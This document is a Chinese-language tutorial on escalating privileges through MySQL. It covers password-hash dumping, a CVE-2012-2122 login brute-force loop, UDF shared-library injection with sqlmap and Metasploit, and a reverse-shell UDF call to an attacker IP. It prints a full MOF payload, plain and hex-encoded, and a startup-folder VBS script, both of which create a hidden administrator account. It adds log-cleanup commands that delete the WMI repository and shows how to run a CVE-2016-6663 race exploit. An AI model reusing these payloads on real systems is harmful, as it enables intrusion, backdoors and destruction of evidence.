MySQL提权
MySQL权限获取
数据库操作权限
获取数据库操作权限的方法一般有以下几种:
- 3306端口爆破
- 从网站的数据库配置文件获取明文密码
sqlmap
工具的 –os-shell- 基于已知漏洞获取权限
基于注入获取的webshell权限
通过SQL注入写文件以getshell。
into outfile
写文件general_log
写文件
具体原理和细节参见MySQL注入写shell
一文。
Hash破解
在有SQL注入情况的情况下,依靠注入查询MySQL用户密码Hash,再进行解密:
# MySQL<=5.6
select host, user, password from mysql.user;
# MySQL>=5.7
select host,user,authentication_string from mysql.user;
随后可用在线网站解密。
已知漏洞利用
yaSSL缓冲区溢出
MSF利用:
msf6 > use exploit/windows/mysql/mysql_yassl_hello
msf6 > use exploit/linux/mysql/mysql_yassl_hello
CVE-2012-2122
在知道用户名情况下,多次输入错误的密码(大约每256一次就可蒙对)会有几率可以直接成功登陆进数据库。
影响范围:
所有MariaDB和MySQL的5.1.61、5.2.11、5.3.5、5.5.22以下版本都存在漏洞。
从5.1.62, 5.2.12, 5.3.6, 5.5.23开始的MariaDB版本不受影响。
从5.1.63, 5.5.24, 5.6.6开始的MySQL版本不受影响。
利用:
# Linux shell
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 ; done
# MSF模块
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
利用之后可dump出MySQL的hash,再进行破解。
UDF提权
UDF(user-defined function)是MySQL的一个扩展接口,用户可通过自定义函数来扩展MySQL功能,其新加入的功能函数可以直接在SQL语句中调用,类似调用user()、version()等函数一样。
手动实现
动态链接库
当MySQL>=5.1时,必须将UDF的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
- sqlmap中的动态链接库
sqlmap根目录/data/udf/
sqlmap中的动态链接库文件是经过编码处理以防止误杀的,不能直接用,可使用自带的解码工具
cloak.py
进行解码:# cloak.py所在目录 sqlmap根目录/extra/cloak/cloak.py # 解码Linux 64位 的动态链接库 python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o udf.so
- msf中的动态链接库
msf根目录/data/exploits/mysql
插件目录
show variables like '%plugin%';
注:
在Windows下当不存在插件目录时,找到安装目录,可以借助NTFS流创建该文件夹(成功率不高):
select xxx into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
找MySQL安装目录:
mysql> select @@basedir;
写入动态链接库
前提:
- 存在SQL注入或可操作原生SQL语句
- 用户有file_priv权限
- secure_file_priv 无限制
- 插件目录对于MySQL用户可写
使用sqlmap上传动态链接库:
sqlmap -u "http://127.0.0.1/" --data="id=1" --file-write="/path/to/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
手工写入:
# 直接十六进制写入
select 0x..... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 本地执行SQL语句,直接传路径获取动态链接库的十六进制
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 本地执行SQL语句,路径hex编码获取动态链接库的十六进制
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
创建函数-执行命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');
所获得的权限最终如何仍需要看运行MySQL服务的权限,以什么样的权限运行MySQL服务,获取到的就是相应的权限
清理痕迹
drop function sys_eval;
msf自动化实现
msf6 > exploit(multi/mysql/mysql_udf_payload)
UDF shell
当目标 MySQL 在内网中,无法直连 MySQL 或者 MySQL 不允许外连,这个时候可以上传一些脚本,通过脚本进行本地连接和操作。
UDF大马
可上传UDF命令执行大马:https://github.com/echohun/tools/blob/master/大马/udf.php
Navicat 自带脚本
目标MySQL不允许外连,可以上传navicat自带的 tunnel 隧道脚本:
接着使用navicat连接,设置HTTP通道:
成功连接后手动实现UDF提权就可。
反弹端口提权
UDF提权的另一种用法,所使用的动态链接库是经定制过的,功能更多更加使用:
cmdshell # 执行cmd
downloader # 下载者,到网上下载指定文件并保存到指定目录
open3389 # 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell # 反弹Shell
ProcessView # 枚举系统进程
KillProcess # 终止指定进程
regread # 读注册表
regwrite # 写注册表
shut # 关机,注销,重启
about # 说明与帮助函数
在攻击机器上开启NC监听,向目标机器上导入dll,然后创建自定义函数:
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
反弹shell:
select backshell("IP", 7777);
MOF提权
该漏洞比较有历史,基本在Windows Server 2003 的环境下才可以成功。
原理
提权的原理是 C:/Windows/system32/wbem/mof/
目录下的 mof 文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 以执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
手工实现
mof文件
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
该payload核心部分就是创建用户并加入管理员组。
写文件
将该文件内容以hex格式写入到C:/Windows/system32/wbem/mof/
下:
select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";
执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/good/
目录下,否则出现在 c:/windows/system32/wbem/bad
目录下。
痕迹清理
写入后每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt
服务再删除相关 mof 文件,这个时候再删除用户才会有效果:
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt
msf自动化实现
MSF自带MOF提权模块,也自带痕迹清理功能:
msf6 > use exploit/windows/mysql/mysql_mof
启动项提权
常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候,可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
启动项路径
- Windows Server 2003的启动项路径
# 中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
# 英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
# 开关机项 需要手动建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown
- Windows Server 2008 的启动项路径
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
路径已知的话即可写入脚本,支持vbs和exe类型,可以vbs执行一些CMD命令,也可以用exe上线MSF或CS:
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0
写入启动项
mysql > select 0x... into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";
写入成功后,等待系统用户重新登录,登录成功的话,自定义脚本就会被执行。
msf自动化实现
msf6 > use exploit/windows/mysql/mysql_start_up
CVE-2016-6663
这是一个竞争条件漏洞,一个拥有 CREATE/INSERT/SELECT 权限的低权限账户提权成功后可以mysql
系统用户身份执行代码。
exp参考链接:https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
影响范围
MySQL 版本需要 <=5.5.51 或 5.6.x <=5.6.32 或 5.7.x <=5.7.14 或 8.x < 8.0.1
MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17
利用
- 先Getshell拿到www-data权限
- 通过webshell管理工具上传CVE-2016-6663的exp
- 在交互式shell中编译该exp
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
- 执行
# ./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库
./mysql-privesc-race test 123456 localhost test
最终可提权为mysql用户。
可配合CVE-2016-6664提升为root用户。
参见:https://xz.aliyun.com/t/1122
参考: